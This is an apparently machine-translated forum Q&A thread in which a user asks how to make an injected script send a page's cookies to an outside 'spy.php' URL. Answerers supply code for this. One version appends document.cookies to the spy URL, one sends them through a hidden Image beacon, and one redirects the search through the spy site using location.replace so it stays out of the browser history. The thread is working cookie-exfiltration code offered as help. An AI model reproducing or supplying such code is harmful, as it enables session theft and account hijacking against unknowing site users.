2013-03-01 130 views
0

我有這個腳本,它發送無論是在搜索表單中輸入(即搜索表單的id)給定的URL餅乾和JavaScript

<script type="text/javascript"> 
document.getElementById("search-form").action="http://scitua.wlv.ac.uk/~in1345/spy.php"; 
</script > 

如何修改腳本,以便它發送文檔cookie intsead到URL?

+0

我需要明白你想要做什麼...你想從當前頁面(在域xyz.com)發送cookie到另一個域(scitua.wlv.ac.uk) ?你打算通過這個來達到什麼目的? – TheZuck 2013-03-01 13:41:02

+0

是@TheZuck,這是我想要做的。想知道如何修改上述腳本來達到這個目的? – IBK 2013-03-01 13:46:10

回答

0

原來的答覆:

".../spy.php?param=" + encodeURIComponent(document.cookies); 


好了,你有兩個選擇:

  1. 完全重定向搜索到的間諜網站,並從間諜網站重定向用戶返回到第一頁。如果您不想在歷史記錄中保留間諜網站,您可以通過javascript location.replace來完成。
  2. 第二種方法更復雜。在搜索表單提交你設置一個這樣的cookie,然後你讓搜索表單提交。在搜索頁面上,您將檢查該cookie,如果已設置,您將讀取並刪除它。好的,你現在需要發送它的價值。簡單的方法是:

    new Image().src="your_site?search="+search_val"+"&cookies="+document.cookies; 
    

    ,如果你還沒有進入搜索頁面,你也可以在信息直接在用戶提交搜索表單,但這樣做是非常懷疑,因爲用戶會等到數據被髮送到您的。

+0

非常感謝您的幫助,但不幸的是,腳本仍然無法正常工作:( – IBK 2013-03-01 14:08:10

+0

@IBK在您不發佈更詳細的信息之前,我無法幫助您 – Zaffy 2013-03-01 14:10:12

+0

有一個具有搜索表單的網頁。 ,我在搜索表單中搜索的任何東西都會發送到URL「http://scitua.wlv.ac.uk/~in1345/spy.php」。同樣,我想要的是當我搜索任何東西時在第一個網頁的搜索表單中,它還應該將文檔cookie發送到URL「http://scitua.wlv.ac.uk/~in1345/spy.php」 – IBK 2013-03-01 14:17:50